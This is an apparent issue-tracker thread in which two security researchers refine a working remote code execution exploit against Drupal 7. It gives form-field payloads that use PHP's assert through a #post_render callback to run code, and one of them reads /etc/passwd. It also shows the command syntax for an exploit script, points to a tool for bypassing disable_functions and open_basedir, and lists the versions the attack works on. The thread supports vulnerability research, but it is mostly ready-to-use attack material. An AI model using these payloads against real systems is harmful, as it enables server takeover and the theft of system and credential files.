Assert is the new sexy

[X-C3LL]

Hi!

Instead of use exec or passthru is far better to use assert, so you can eval custom PHP code. In this way you can avoid disable_functions issues :).

Example of a valid payload:

{'q':'user/password', 'name[0][#post_render][]':'assert', 'name[0][#markup]': $COMMAND . ' !== "X-C3LL";', 'name[0][#type]':'markup'} 

So you can do things like:

{'q':'user/password', 'name[0][#post_render][]':'assert', 'name[0][#markup]':'readfile("/etc/passwd") !== "X-C3LL";', 'name[0][#type]':'markup'} 

[X-C3LL]

Indeed, with assert you can create an uploader and then use Chankro (https://github.com/TarlogicSecurity/Chankro) to bypass disable_functions & open_basedir.

[dreadlocked]

In progress... by the way, you can use "do-not-use.rb" and use whatever php method you want:

ruby do-not-use.rb https://localhost 7 command phpmethod
ruby do-not-use.rb https://localhost 8 command phpmethod

Good luck!

[dreadlocked]

Investigating why this only works on some specific cases.

[X-C3LL]

Tonight I am going to try to triage the issue.

My environment is: PHP Version 7.0.27-0 Debian 4.9.82-1+deb9u3 Drupal version 7.57

[X-C3LL]

In a PHP 7 installed by default it works (Drupal 7.57): sudo apt-get install libapache2-mod-php7.0 php7.0 php7.0-cli php7.0-common php7.0-json php7.0-mysql

But it does not work with PHP 5.